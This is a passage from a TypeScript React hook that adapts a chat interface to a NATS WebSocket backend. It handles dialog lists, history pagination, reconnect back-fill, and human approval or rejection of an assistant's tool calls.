'./use-nats-dialog-subscription';\n\n// Legacy public home of the pure message-mutation helpers (\"exported for\n// host reuse\"). Canonical implementation moved to the stream module in\n// Phase 3 — these re-exports keep the import path stable until Phase 4\n// migrates consumers.\nexport {\n  appendToTrailingAssistant,\n  applyToolExecutionToMessages,\n  upsertTrailingCompaction,\n} from '../stream/message-mutations';\n\n// =============================================================================\n// Config + options\n// =============================================================================\n\n// `FetchDialogsParams` / `FetchDialogsResult` moved to the unified types\n// module (they are the host contract of the SHARED `useManagedDialogList`\n// hook, consumed by both adapters); re-exported here so the public import\n// path stays stable.\nexport type { FetchDialogsParams, FetchDialogsResult } from '../types/unified-chat-state.types';\n\n/** Page-fetch parameters passed to `fetchDialogMessages`. */\nexport interface FetchDialogMessagesParams {\n  dialogId: string;\n  cursor?: string;\n  limit?: number;\n}\n\n/** Successful `fetchDialogMessages` response. `tokenUsage` is optional —\n *  some backends only attach it to the dialog header query, in which case\n *  hosts can either include it on the first page only (will populate the\n *  ModelDisplay readout) or fold it in via a separate update path. */\nexport interface FetchDialogMessagesResult {\n  messages: HistoricalMessage[];\n  nextCursor: string | null;\n  tokenUsage?: DialogTokenUsage | null;\n}\n\n/**\n * Consumer-supplied configuration for the NATS chat adapter.\n *\n * Every field except `getNatsWsUrl` + `publishUserMessage` is optional —\n * the lib does not assume a particular backend protocol or auth scheme.\n * Hosts wire these up against their own OpenFrame deployment.\n */\nexport interface UseNatsChatAdapterConfig {\n  /**\n   * Active conversation/dialog id. When omitted (`undefined`) the\n   * adapter manages its own active dialog id internally — the host\n   * drives selection through `selectDialog` / `startNewDialog`. When\n   * explicitly set (including `null`) the adapter treats this as\n   * controlled mode and uses the value verbatim. v0 consumers (the\n   * Tauri Fae Chat client) pass an explicit id here and own the\n   * lifecycle externally; v1+ consumers (the openframe-frontend\n   * EmbeddableChat) leave it undefined and rely on `fetchDialogs`\n   * for sidebar-driven selection.\n   */\n  dialogId?: string | null;\n\n  /**\n   * Build the NATS WebSocket URL. Returning `null` short-circuits the\n   * subscription — same contract as `useNatsDialogSubscription`.\n   */\n  getNatsWsUrl: () => string | null;\n\n  /**\n   * Optional NATS client auth.\n   */\n  clientConfig?: {\n    name?: string;\n    user?: string;\n    pass?: string;\n  };\n\n  /**\n   * Send a user message upstream. Consumer-owned: typically an\n   * authenticated HTTP POST to the OpenFrame chat endpoint, or a\n   * direct NATS publish to a dedicated subject.\n   *\n   * The adapter does NOT couple to the wire format — it only:\n   *   1. appends the user message to local state for immediate render\n   *   2. flips streamingPhase to 'thinking' so the input UI shows status\n   *   3. calls this callback\n   *\n   * Reply arrives asynchronously as NATS chunks via the live tail and\n   * is accumulated into the trailing assistant message.\n   */\n  publishUserMessage: (text: string, options: { hidden?: boolean; dialogId: string | null }) => Promise<void> | void;\n\n  /**\n   * Historical-chunk fetcher used by `useChunkCatchup` to back-fill\n   * events that happened while the user was in another mode or before\n   * the websocket came online. Consumer-owned: typically a REST GET\n   * against the OpenFrame chat-history endpoint.\n   *\n   * When omitted, `useChunkCatchup` falls back to its own default\n   * fetch implementation — see hook docs for the contract.\n   */\n  fetchChunks?: FetchChunksFunction;\n\n  /**\n   * NATS topics to live-tail for the active dialog. Each maps to the\n   * subject suffix `chat.{dialogId}.{topic}` (see\n   * `useNatsDialogSubscription`). Defaults to `['message']` — the\n   * client-chat subject the Tauri Fae Chat consumer relies on. Admin /\n   * Mingo chat publishes its agent replies on `'admin-message'`, so the\n   * openframe EmbeddableChat host MUST set `topics: ['admin-message']`\n   * here — otherwise the subscription tails the wrong subject, no reply\n   * chunks ever arrive, and the assistant placeholder hangs forever in\n   * the `thinking` phase.\n   */\n  topics?: NatsMessageType[];\n\n  /**\n   * Mirrors the reducer's `batchApprovalsEnabled`. Default `true` —\n   * single batch card per APPROVAL_REQUEST with `toolCalls[]`. Set\n   * `false` to fall back to legacy per-tool cards.\n   */\n  batchApprovalsEnabled?: boolean;\n\n  /**\n   * Approval types rendered as actionable cards inline. Mirrors the\n   * reducer's `displayApprovalTypes` (default `['CLIENT']`) and is\n   * forwarded to the history processor so both paths agree. Hosts whose\n   * backend emits other types (e.g. `USER`) MUST set this — otherwise\n   * those approvals are escalated to a callback this adapter doesn't\n   * surface and the card never renders.\n   */\n  displayApprovalTypes?: string[];\n\n  // ─── Managed-dialog mode (sidebar + history) ─────────────────────────────\n\n  /**\n   * Fetch a paginated page of dialogs for the sidebar. When provided,\n   * the adapter switches to managed-dialog mode: it owns the active\n   * dialog id, the dialog list, and pagination state. When omitted,\n   * the adapter operates in bare-transport mode (current Tauri Fae\n   * Chat usage) and the sidebar fields on the return value stay empty.\n   */\n  fetchDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>;\n\n  /**\n   * Fetch a page of historical messages for a dialog. Required for\n   * sidebar-driven dialog switching — when omitted, selecting a\n   * dialog brings up an empty thread until streaming starts.\n   *\n   * Messages must arrive in the same wire shape the openframe backend\n   * emits (HistoricalMessage with messageData[]); the adapter feeds\n   * them through `processHistoricalMessagesWithErrors` to produce\n   * reducer-compatible messages.\n   */\n  fetchDialogMessages?: (params: FetchDialogMessagesParams) => Promise<FetchDialogMessagesResult>;\n\n  /**\n   * Allocate a fresh dialog on the backend. Returns the new dialog id\n   * which the adapter sets as the active dialog. When omitted, the\n   * \"Start new chat\" affordance on the sidebar is hidden (or the host\n   * can implement its own).\n   */\n  createDialog?: () => Promise<{ dialogId: string }>;\n\n  /** Delete a dialog from history. When omitted, the sidebar item's\n   *  delete affordance is hidden. */\n  deleteDialog?: (dialogId: string) => Promise<void>;\n\n  /** Rename a dialog on the backend. When omitted, the \"Rename\" affordance\n   *  in the chat-history row menu is hidden. */\n  renameDialog?: (dialogId: string, title: string) => Promise<void>;\n\n  /** Archive a dialog on the backend (removes it from the active list).\n   *  When omitted, the \"Archive\" affordance in the row menu is hidden. */\n  archiveDialog?: (dialogId: string) => Promise<void>;\n\n  /** Fetch a paginated page of ARCHIVED dialogs for the Chat Archive page.\n   *  When omitted, the archive (clock-history) button in the header is\n   *  hidden. Same page/cursor contract as `fetchDialogs`. */\n  fetchArchivedDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>;\n\n  /** Restore an archived dialog back to the active list. When omitted, the\n   *  restore (refresh) button in an archived chat's header is hidden. */\n  unarchiveDialog?: (dialogId: string) => Promise<void>;\n\n  /**\n   * Approve a pending tool-call request. Wired into the reducer's\n   * approval-card callbacks so card buttons fire this directly. When\n   * omitted, approval cards render disabled buttons.\n   */\n  approveRequest?: (requestId: string) => Promise<void>;\n\n  /** Reject counterpart of `approveRequest`. */\n  rejectRequest?: (requestId: string, reason?: string) => Promise<void>;\n\n  /**\n   * Cancel in-flight assistant generation. Without this, `stopMessage`\n   * only flips the UI status — the backend continues until the agent\n   * finishes naturally. With this, the backend stops emitting chunks.\n   */\n  stopGeneration?: (dialogId: string) => Promise<void>;\n\n  /** Display name for the assistant in historical messages — defaults\n   *  to `'Mingo'`. */\n  assistantName?: string;\n\n  /**\n   * GraphQL `chatType` discriminator to filter historical messages by.\n   * When set, `processHistoricalMessagesWithErrors` skips messages\n   * whose `chatType` doesn't match. Openframe-frontend uses\n   * `'ADMIN_AI_CHAT'` here.\n   */\n  chatTypeFilter?: string;\n\n  /** Default page size for dialog list pagination. Defaults to 20. */\n  dialogsPageSize?: number;\n\n  /** Default page size for message history pagination. Defaults to 50. */\n  messagesPageSize?: number;\n\n  /**\n   * Baseline model display for the composer's `<ModelDisplay>` — used as the\n   * empty-state fallback before any streaming `metadata` frame arrives (e.g.\n   * a brand-new chat). The host typically sources these from its AI-config\n   * endpoint. Live `metadata` frames refine them per-turn. NATS-only; SSE\n   * (guide) derives its own model from the stream.\n   */\n  modelProvider?: string | null;\n  modelLabel?: string | null;\n}\n\n/**\n * Per-call options for `useNatsChatAdapter`. Carries only the\n * activation gate — config travels through the config object so it\n * survives mode swaps without re-mounting.\n */\nexport interface UseNatsChatAdapterOptions {\n  /**\n   * When `false` the adapter goes idle: no NATS subscription, no\n   * catchup fetch, no publish. Local message state is preserved so\n   * the user sees their history when the mode flips back to active.\n   * Default `true`.\n   */\n  active?: boolean;\n}\n\n// =============================================================================\n// Historical-message mapping helpers (host-facing)\n// =============================================================================\n\n/**\n * Map `ProcessedMessage` (lib's historical-message format) into\n * `UnifiedChatMessage` (the unified-chat-state contract). Only `user`\n * and `assistant` roles round-trip; `error` is dropped on the floor\n * here because the unified contract surfaces errors as banners, not\n * inline messages. (Hosts that need inline error bubbles can extend\n * the contract later.)\n *\n * Exported for host reuse (e.g. scripted marketing demos that rehydrate a\n * stored `HistoricalMessage[]` via `processHistoricalMessagesWithErrors` and\n * feed a `previewMode` EmbeddableChat). This mapper carries the segment/content\n * shape only; author identity (name/avatar/authorType/timestamp) that a host\n * needs for the demo is re-attached by the host from the same processed rows.\n */\nexport function mapProcessedToUnified(\n  processed: Array<{\n    id: string;\n    role: 'user' | 'assistant' | 'error';\n    content: string | MessageSegment[];\n    name?: string;\n  }>,\n): UnifiedChatMessage[] {\n  const out: UnifiedChatMessage[] = [];\n  for (const m of processed) {\n    if (m.role === 'error') continue;\n    if (Array.isArray(m.content)) {\n      out.push({\n        id: m.id,\n        role: m.role,\n        content: '',\n        segments: m.content,\n      });\n    } else {\n      out.push({\n        id: m.id,\n        role: m.role,\n        content: m.content,\n      });\n    }\n  }\n  return out;\n}\n\n/**\n * ONE-CALL `HistoricalMessage[]` -> `UnifiedChatMessage[]` for hosts replaying a\n * stored conversation outside the live adapter (scripted marketing demos, a\n * `previewMode` EmbeddableChat). Does the full pipeline the adapter does inline:\n * `processHistoricalMessagesWithErrors` -> `mapProcessedToUnified` -> re-attach\n * the author identity (name / avatar / authorType / timestamp) the segment\n * mapper drops. Hosts no longer hand-roll the two-step + re-attach.\n */\nexport function historicalToUnified(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {},\n): UnifiedChatMessage[] {\n  const { messages: processed } = processHistoricalMessagesWithErrors(messages, options);\n  const byId = new Map(processed.map(p => [p.id, p]));\n  return mapProcessedToUnified(processed).map(u => {\n    const p = byId.get(u.id);\n    return p ? { ...u, name: p.name, avatar: p.avatar ?? null, authorType: p.authorType, timestamp: p.timestamp } : u;\n  });\n}\n\n// =============================================================================\n// Hook\n// =============================================================================\n\n/** Store key for the draft (\"no dialog selected\") state. */\nconst DRAFT_DIALOG_KEY = '__draft__';\n\nexport function useNatsChatAdapter(\n  config: UseNatsChatAdapterConfig,\n  options: UseNatsChatAdapterOptions = {},\n): UnifiedChatState {\n  const { active = true } = options;\n  const {\n    dialogId: controlledDialogId,\n    getNatsWsUrl,\n    clientConfig,\n    publishUserMessage,\n    fetchChunks,\n    topics,\n    batchApprovalsEnabled,\n    displayApprovalTypes,\n    fetchDialogs,\n    fetchDialogMessages,\n    createDialog: createDialogCallback,\n    deleteDialog: deleteDialogCallback,\n    renameDialog: renameDialogCallback,\n    archiveDialog: archiveDialogCallback,\n    fetchArchivedDialogs,\n    unarchiveDialog,\n    approveRequest: approveRequestCallback,\n    rejectRequest: rejectRequestCallback,\n    stopGeneration: stopGenerationCallback,\n    assistantName = 'Mingo',\n    chatTypeFilter,\n    dialogsPageSize = 20,\n    messagesPageSize = 50,\n    modelProvider = null,\n    modelLabel = null,\n  } = config;\n\n  // ─── Active dialog id resolution ──────────────────────────────────────────\n  // The discriminator is *capability*, not *value*: when the host wires\n  // `fetchDialogs` we know they want the adapter to own the dialog list,\n  // active id, and sidebar wiring. Any `controlledDialogId` they pass in\n  // that mode is ignored (host shouldn't be fighting the adapter for\n  // selection). When `fetchDialogs` is absent (Tauri Fae Chat) the adapter\n  // is in bare-transport mode and the host's `dialogId` is the source of\n  // truth — including `null`, which means \"no dialog selected, idle WS\".\n\n  const isManagedMode = fetchDialogs !== undefined;\n  const [internalDialogId, setInternalDialogId] = useState<string | null>(null);\n  const dialogId = isManagedMode ? internalDialogId : controlledDialogId !== undefined ? controlledDialogId : null;\n\n  // Mirror of the active dialog. Async continuations (reconnect back-fill,\n  // catchup finallys) capture `dialogId` at start and compare against this ref\n  // when they resume — a continuation whose dialog is no longer active must\n  // not touch the new dialog's flags. Filled in an effect, not in the render\n  // body: React can discard a render attempt outright, and a continuation that\n  // resumed after one would have compared itself against a dialog that never\n  // committed. A continuation can only resume after a commit, so it still sees\n  // the current value.\n  const currentDialogIdRef = useRef<string | null>(dialogId);\n  useEffect(() => {\n    currentDialogIdRef.current = dialogId;\n  });\n\n  // ─── Approval handlers ────────────────────────────────────────────────────\n  // Defined before the reducer so the reducer's create-options can wire the\n  // approval-card buttons. Optimistically flip status before the network\n  // round-trip so the card reflects the user's choice immediately.\n\n  const handleApproveRef = useRef<(requestId: string) => Promise<void>>(async () => {});\n  const handleRejectRef = useRef<(requestId: string, reason?: string) => Promise<void>>(async () => {});\n\n  // Reducer-card adapters. The card contract is `(requestId?) => void |\n  // Promise<void>` — single optional arg; narrow at the boundary.\n  const accumApprove = useCallback((requestId?: string): void | Promise<void> => {\n    if (!requestId) return undefined;\n    return handleApproveRef.current(requestId);\n  }, []);\n  const accumReject = useCallback((requestId?: string): void | Promise<void> => {\n    if (!requestId) return undefined;\n    return handleRejectRef.current(requestId);\n  }, []);\n\n  // ─── THE reducer (master stream reader) ───────────────────────────────────\n  // One `ChatDialogStore` per adapter instance; one reducer per dialog.\n  // Approval statuses are request-id-keyed and GLOBAL across dialogs (a\n  // resolved approval must not resurrect as actionable after a dialog\n  // switch), so the adapter accumulates them into an instance-lifetime map\n  // that seeds every newly-created per-dialog reducer.\n  //\n  // Both are built by `useState`'s lazy initialiser rather than `useRef(expr)`:\n  // the argument form re-evaluates `createChatDialogStore()` on EVERY render\n  // and throws the result away, which allocated a whole store per render.\n\n  const [dialogStore] = useState(() => createChatDialogStore());\n  const [globalApprovalStatuses] = useState<Record<string, ChatApprovalStatus>>(() => ({}));\n  const dialogKey = dialogId ?? DRAFT_DIALOG_KEY;\n\n  const { state, applyEvent, mutate } = useChatStreamReducer({\n    store: dialogStore,\n    dialogId: dialogKey,\n    createReducerOptions: () => ({\n      transport: 'nats',\n      batchApprovalsEnabled,\n      ...(displayApprovalTypes ? { displayApprovalTypes } : {}),\n      approvalStatuses: globalApprovalStatuses,\n      callbacks: { onApprove: accumApprove, onReject: accumReject },\n    }),\n  });\n\n  // Accumulate resolved statuses globally. In an effect, not the render body:\n  // a discarded render attempt must not leave statuses in the map that no\n  // committed reducer ever produced. Runs before the dialog-switch effect\n  // below (declaration order), so that merge always sees the latest.\n  useEffect(() => {\n    Object.assign(globalApprovalStatuses, state.approvalStatuses);\n  }, [globalApprovalStatuses, state.approvalStatuses]);\n\n  // Live handleApprove/handleReject bodies (need `mutate` + state access).\n  // Republished from an effect: a click can only arrive after a commit, so the\n  // handler still closes over current values, and a discarded render can no\n  // longer install a body that was never committed.\n  useEffect(() => {\n    handleApproveRef.current = async (requestId: string) => {\n      if (!approveRequestCallback) return;\n      // Approval hands the turn back to the agent — lock the composer now\n      // rather than waiting for the APPROVAL_RESULT/EXECUTING_TOOL chunks.\n      // Remember whether THIS click took the lock: if the phase was already\n      // busy (another approval's command executing), a failure of this\n      // request must not release a lock it doesn't own.\n      const key = dialogKey;\n      const tookLock = dialogStore.mutate(key, DEFAULT_DIALOG_SIDE, r => {\n        const took = r.state.streamingPhase === 'idle';\n        r.setApprovalStatus(requestId, 'approved');\n        if (took) r.setPhase('thinking');\n        return took;\n      });\n      try {\n        await approveRequestCallback(requestId);\n      } catch (err) {\n        // Revert the optimistic flip on failure so the user can retry.\n        dialogStore.mutate(key, DEFAULT_DIALOG_SIDE, r => {\n          r.setApprovalStatus(requestId, null);\n          if (tookLock && r.state.streamingPhase === 'thinking') r.setPhase('idle');\n        });\n        console.error('[useNatsChatAdapter] approveRequest failed:', err);\n      }\n    };\n    handleRejectRef.current = async (requestId: string, reason?: string) => {\n      if (!rejectRequestCallback) return;\n      // Deliberately NO phase lock here (asymmetric with approve): rejection\n      // keeps the composer free so the user can type a correction right away —\n      // the reducer's `approved`-only agent-busy gate is the same asymmetry.\n      const key = dialogKey;\n      dialogStore.mutate(key, DEFAULT_DIALOG_SIDE, r => r.setApprovalStatus(requestId, 'rejected'));\n      try {\n        await rejectRequestCallback(requestId, reason);\n      } catch (err) {\n        dialogStore.mutate(key, DEFAULT_DIALOG_SIDE, r => r.setApprovalStatus(requestId, null));\n        console.error('[useNatsChatAdapter] rejectRequest failed:', err);\n      }\n    };\n  });\n\n  // Decode + apply — the ONLY chunk entry point (catchup routes the live\n  // tail through here too, so buffering/dedupe stay consistent).\n  const processChunk = useCallback(\n    (chunk: unknown) => {\n      const event = decodeNatsChunk(chunk);\n      if (event) applyEvent(event);\n    },\n    [applyEvent],\n  );\n\n  // ─── Dialog list state (managed-dialog mode only) ─────────────────────────\n  // The list state machine itself is the SHARED `useManagedDialogList`\n  // (also behind the SSE/Guide adapter); this adapter only layers the\n  // active-id + reducer-store side effects on top via `onDialogRemoved`.\n\n  const [isCreatingDialog, setIsCreatingDialog] = useState<boolean>(false);\n  const {\n    dialogs,\n    isDialogsLoading,\n    dialogsError,\n    hasMoreDialogs,\n    reloadDialogs,\n    loadMoreDialogs,\n    renameDialog,\n    archiveDialog,\n    deleteDialog,\n    upsertDialogTop,\n  } = useManagedDialogList({\n    autoLoad: active,\n    fetchDialogs,\n    renameDialog: renameDialogCallback,\n    archiveDialog: archiveDialogCallback,\n    deleteDialog: deleteDialogCallback,\n    pageSize: dialogsPageSize,\n    logTag: '[useNatsChatAdapter]',\n    onDialogRemoved: (id, reason) => {\n      if (reason === 'deleted') dialogStore.remove(id);\n      if (isManagedMode && internalDialogId === id) {\n        setInternalDialogId(null);\n      }\n    },\n  });\n\n  // ─── Message-history pagination ───────────────────────────────────────────\n\n  const [messagesNextCursor, setMessagesNextCursor] = useState<string | null>(null);\n  const [isMessagesLoading, setIsMessagesLoading] = useState<boolean>(false);\n\n  // ─── Connection state ─────────────────────────────────────────────────────\n\n  // The dialog whose tail has actually produced an event. See `connectionState`\n  // below, which is derived from it.\n  const [connectedForDialog, setConnectedForDialog] = useState<string | null>(null);\n\n  // Set after the first successful NATS connect. Later 'connected' events are\n  // RECONNECTS: plain NATS replays nothing, so the adapter must back-fill the\n  // disconnect gap via `resetAndCatchUp` or those chunks are lost forever.\n  const hasConnectedOnceRef = useRef(false);\n\n  // History catchup — back-fills chunks emitted while the adapter was\n  // inactive or before the WS came online.\n  const {\n    processChunk: catchupProcessChunk,\n    catchUpChunks,\n    startInitialBuffering,\n    resetChunkTracking,\n    resetAndCatchUp,\n    isBufferingActive,\n  } = useChunkCatchup({\n    dialogId: active ? dialogId : null,\n    onChunkReceived: (chunk: ChunkData) => processChunk(chunk),\n    fetchChunks,\n  });\n\n  // ─── Historical message hydration ─────────────────────────────────────────\n  // When the active dialog changes AND a `fetchDialogMessages` callback\n  // is wired, load the first page of history, process it through the\n  // history decoder + envelope, and seed the reducer. Streaming chunks for\n  // the same dialog then append on top.\n\n  // Monotonic guard: each history load captures a sequence number; when a\n  // response resolves, it only applies if it's still the latest request. This\n  // prevents a slow response for a previously-selected dialog from clobbering\n  // the state of the dialog the user just switched to.\n  const historyLoadSeqRef = useRef(0);\n\n  const loadDialogHistory = useCallback(\n    async (id: string, cursor?: string): Promise<void> => {\n      if (!fetchDialogMessages) return;\n      historyLoadSeqRef.current += 1;\n      const seq = historyLoadSeqRef.current;\n      const store = dialogStore;\n      setIsMessagesLoading(true);\n      try {\n        const result = await fetchDialogMessages({\n          dialogId: id,\n          cursor,\n          limit: messagesPageSize,\n        });\n        // Ignore stale responses superseded by a newer dialog selection.\n        if (seq !== historyLoadSeqRef.current) return;\n        const { messages: rawProcessed } = processHistoricalMessagesWithErrors(result.messages, {\n          assistantName,\n          assistantType: 'mingo',\n          chatTypeFilter,\n          onApprove: accumApprove,\n          onReject: accumReject,\n          approvalStatuses: store.getSnapshot(id).approvalStatuses,\n          batchApprovalsEnabled,\n          ...(displayApprovalTypes ? { displayApprovalTypes } : {}),\n        });\n        const unified = mapProcessedToUnified(rawProcessed);\n        store.mutate(id, DEFAULT_DIALOG_SIDE, r => {\n          if (cursor === undefined) {\n            // First page — replace. When the trailing assistant is an\n            // INCOMPLETE turn, the catchup replay will re-stream it from its\n            // MESSAGE_START — let that stream adopt (replace) the partial\n            // bubble instead of opening a duplicate one.\n            // Gated on an ACTIVE catchup buffer: when the catchup already\n            // finalized before this history page resolved, no replay is\n            // coming to consume the flag — arming it anyway would hand the\n            // adoption to the NEXT genuine turn, which would overwrite the\n            // partial bubble instead of opening a fresh one.\n            // `extractIncompleteTailState` (not the single-row extractor):\n            // one logical turn can span several trailing assistant bubbles,\n            // so the unfinished artifact may sit above the last row.\n            r.armAdoptTrailingAssistant(isBufferingActive() && extractIncompleteTailState(rawProcessed) !== undefined);\n            // `initializeWithState`, NOT the raw `setMessages` setter: it also\n            // derives `resumed` from the restored thread, and that flag is what\n            // makes a chunk arriving with no preceding `turn-start` APPEND to\n            // the hydrated bubble instead of replacing its segments. With\n            // `setMessages` the reducer still looked cold, so the first such\n            // chunk — routine, since the turn can open server-side before we\n            // subscribe, and the chunk store expires past ~10 min so the replay\n            // may deliver nothing — wiped the restored bubble. A pending\n            // approval card in that bubble went with it, leaving the agent\n            // blocked on a control the user could no longer see. The SSE\n            // adapter always hydrated through this door; now both do.\n            r.initializeWithState(unified);\n          } else {\n            // Older page — prepend.\n            r.prependMessages(unified);\n          }\n          if (result.tokenUsage !== undefined) {\n            r.setDialogTokenUsage(result.tokenUsage ?? null);\n          }\n        });\n        setMessagesNextCursor(result.nextCursor);\n      } catch (err) {\n        console.error('[useNatsChatAdapter] fetchDialogMessages failed:', err);\n      } finally {\n        // Only the latest request owns the loading flag — a superseded one\n        // must not clear it while the newer load is still in flight.\n        if (seq === historyLoadSeqRef.current) {\n          setIsMessagesLoading(false);\n        }\n      }\n    },\n    [\n      dialogStore,\n      fetchDialogMessages,\n      messagesPageSize,\n      assistantName,\n      chatTypeFilter,\n      batchApprovalsEnabled,\n      displayApprovalTypes,\n      accumApprove,\n      accumReject,\n      isBufferingActive,\n    ],\n  );\n\n  // Reset + reload when the active dialog changes.\n  const prevDialogIdRef = useRef<string | null | undefined>(undefined);\n  useEffect(() => {\n    if (prevDialogIdRef.current === dialogId) return;\n    prevDialogIdRef.current = dialogId;\n\n    // Invalidate any in-flight history load for the previous dialog. Bumping\n    // here (not only inside loadDialogHistory) covers the clear/delete path\n    // — switching to a null/empty dialog never starts a new load, so without\n    // this an in-flight response could repopulate the just-cleared state.\n    historyLoadSeqRef.current += 1;\n\n    // Clean slate for the (re)entered dialog: thread, per-turn kernel,\n    // participant dedup sets, seq gate, phase. Approval statuses survive\n    // per-reducer AND get topped up with the adapter's global map (request\n    // ids are dialog-independent).\n    dialogStore.mutate(dialogKey, DEFAULT_DIALOG_SIDE, r => {\n      r.resetForDialogSwitch();\n      // Canonical precedence lives in the reducer: persisted (the adapter's\n      // global map) fills gaps, stream-learned statuses always win.\n      r.mergeApprovalStatuses(globalApprovalStatuses);\n    });\n    // No load runs when there's no active dialog, so clear the flag here;\n    // otherwise the superseded load's guarded `finally` leaves it stuck on.\n    setMessagesNextCursor(null);\n    setIsMessagesLoading(false);\n\n    if (!active || !dialogId) return;\n\n    // Hydrate history first; then catchup will fold in any chunks that\n    // landed between the history snapshot and the live tail.\n    void loadDialogHistory(dialogId);\n  }, [active, dialogId, dialogKey, dialogStore, globalApprovalStatuses, loadDialogHistory]);\n\n  // Trigger initial chunk backfill whenever a fresh dialog activates.\n  // Runs alongside history hydration — history seeds processed messages,\n  // catchup buffers raw chunks in case the WS came online after history\n  // was already snapshotted.\n  useEffect(() => {\n    if (!active || !dialogId) return;\n    const store = dialogStore;\n    // Gate agent-busy locks for the replay window: a dead tail (approval\n    // approved / tool started, then Stop or a crash) replays its\n    // APPROVAL_RESULT / EXECUTING_TOOL chunks on every dialog (re)open, and\n    // the releasing MESSAGE_END never replays — locking the composer\n    // forever. The suppression is a COUNTER inside the reducer: the\n    // initial-catchup window and a reconnect back-fill window can overlap.\n    store.mutate(dialogId, DEFAULT_DIALOG_SIDE, r => r.adjustAgentBusySuppression(1));\n    resetChunkTracking();\n    startInitialBuffering();\n    catchUpChunks()\n      .catch((err: unknown) => {\n        console.error('[useNatsChatAdapter] initial catchup failed:', err);\n      })\n      .finally(() => {\n        store.mutate(dialogId, DEFAULT_DIALOG_SIDE, r => {\n          r.adjustAgentBusySuppression(-1);\n          // The adopt-once flag targets the replayed MESSAGE_START of the\n          // incomplete history tail. When the replay produced none (chunk\n          // store expired past its ~10-min retention / empty), the armed\n          // flag would survive and make the NEXT genuine turn adopt-and-\n          // overwrite the partial bubble.\n          r.armAdoptTrailingAssistant(false);\n        });\n      });\n  }, [active, dialogId, dialogStore, resetChunkTracking, startInitialBuffering, catchUpChunks]);\n\n  // ─── Live NATS subscription ───────────────────────────────────────────────\n  // Gated on `active` and a non-null dialogId so the consumer doesn't pay\n  // socket cost before a conversation exists.\n\n  useNatsDialogSubscription({\n    enabled: active && dialogId != null,\n    dialogId,\n    // Subject suffix to tail. Omitted → the hook defaults to `['message']`\n    // (client chat). Admin/Mingo hosts pass `['admin-message']` so the\n    // live tail lands on the subject the agent actually publishes to.\n    ...(topics ? { topics } : {}),\n    getNatsWsUrl,\n    clientConfig,\n    onEvent: (payload: unknown, messageType: NatsMessageType) => {\n      // Route via catchup so the buffer/dedupe logic stays consistent\n      // with historical playback. `useChunkCatchup` itself forwards to\n      // `processChunk` once dedupe checks pass.\n      catchupProcessChunk(payload as ChunkData, messageType);\n      // First successful event marks the connection as up — recorded against\n      // the dialog it was heard for, so a switch re-enters \"connecting\" on its\n      // own rather than needing a reset.\n      setConnectedForDialog(currentDialogIdRef.current ?? null);\n    },\n    onConnect: () => {\n      // Plain NATS pub/sub has no replay: chunks published while the socket\n      // was down are gone unless we back-fill. The FIRST connect is covered\n      // by the initial catchup effect; every later one is a reconnect.\n      if (!hasConnectedOnceRef.current) {\n        hasConnectedOnceRef.current = true;\n        return;\n      }\n      const store = dialogStore;\n      const reconnectDialogId = dialogId;\n      if (reconnectDialogId) {\n        store.mutate(reconnectDialogId, DEFAULT_DIALOG_SIDE, r => r.adjustAgentBusySuppression(1));\n      }\n      // Buffer live deliveries for the WHOLE back-fill, including the history\n      // await — otherwise chunks landing mid-fetch are processed unbuffered\n      // (advancing lastSequenceId + dedup keys) and the history replace then\n      // wipes their content with no way to replay them. `resetAndCatchUp`\n      // keeps an already-active buffer, so nothing collected here is lost.\n      startInitialBuffering();\n      void (async () => {\n        try {\n          // History FIRST: the backend never stores DIRECT_MESSAGE/SYSTEM\n          // chunks in its catchup store (instant types go straight to Mongo),\n          // so the chunk back-fill can't recover them — the persisted history\n          // page is the only source. Then replay the unsaved chunk tail on\n          // top of the fresh snapshot.\n          if (reconnectDialogId && fetchDialogMessages) {\n            await loadDialogHistory(reconnectDialogId);\n          }\n          // The user may have switched dialogs during the await — the new\n          // dialog's own effects run their catchup cycle; re-running it here\n          // would reset that cycle mid-flight.\n          if (reconnectDialogId !== currentDialogIdRef.current) return;\n          await resetAndCatchUp();\n        } catch (err) {\n          console.error('[useNatsChatAdapter] reconnect catchup failed:', err);\n        } finally {\n          if (reconnectDialogId) {\n            store.mutate(reconnectDialogId, DEFAULT_DIALOG_SIDE, r => {\n              r.adjustAgentBusySuppression(-1);\n              // The adopt-once flag targets the replayed MESSAGE_START of the\n              // incomplete tail — but on reconnect that START was already\n              // consumed live and is dedup-skipped by the replay, so it never\n              // fires. Clear the flag or the NEXT genuine turn adopts (and\n              // overwrites) the completed trailing bubble.\n              r.armAdoptTrailingAssistant(false);\n            });\n          }\n        }\n      })();\n    },\n  });\n\n  // Without a finer hook signal we treat \"active + dialog selected\" as\n  // connecting until the first event lands, and \"no dialog\" as idle-\n  // connected (nothing to subscribe to anyway).\n  //\n  // Derived, not stored. The only thing that has to be REMEMBERED is which\n  // dialog has produced an event, and tagging that with its dialog id makes the\n  // reset implicit: a switch stops matching, so it reads \"connecting\" again\n  // without an effect writing it back. From an effect the switch committed one\n  // frame still claiming \"connected\" for a dialog nothing had been heard from.\n  const connectionState: ChatConnectionState =\n    !active || !dialogId ? 'connected' : connectedForDialog === dialogId ? 'connected' : 'connecting';\n\n  // ─── Public action handlers ───────────────────────────────────────────────\n\n  const sendMessage = useCallback(\n    async (text: string, sendOptions?: UnifiedSendMessageOptions): Promise<void> => {\n      const hidden = sendOptions?.hidden ?? false;\n\n      // Optimistically append the user bubble + an empty assistant\n      // placeholder, record the echo text, and flip the phase — all inside\n      // the reducer. The assistant body fills in as NATS chunks land.\n      mutate(r => r.pushOptimisticSend(text, hidden));\n\n      await publishUserMessage(text, { hidden, dialogId });\n    },\n    [mutate, publishUserMessage, dialogId],\n  );\n\n  const stopMessage = useCallback(() => {\n    // Best-effort UI flip. The actual backend cancellation is gated on\n    // the host-supplied callback.\n    mutate(r => r.setPhase('idle'));\n    if (stopGenerationCallback && dialogId) {\n      void stopGenerationCallback(dialogId).catch((err: unknown) => {\n        console.error('[useNatsChatAdapter] stopGeneration failed:', err);\n      });\n    }\n  }, [mutate, stopGenerationCallback, dialogId]);\n\n  const clearMessages = useCallback(() => {\n    mutate(r => r.clearThread());\n  }, [mutate]);\n\n  const selectDialog = useCallback(\n    (id: string | null) => {\n      if (!isManagedMode) {\n        // Bare-transport mode: the host owns dialog id externally. No-op\n        // here so we don't compete with the host's own state machine.\n        // Hosts wanting EmbeddableChat-driven selection should wire\n        // `fetchDialogs` to flip the adapter into managed-dialog mode.\n        return;\n      }\n      setInternalDialogId(id);\n    },\n    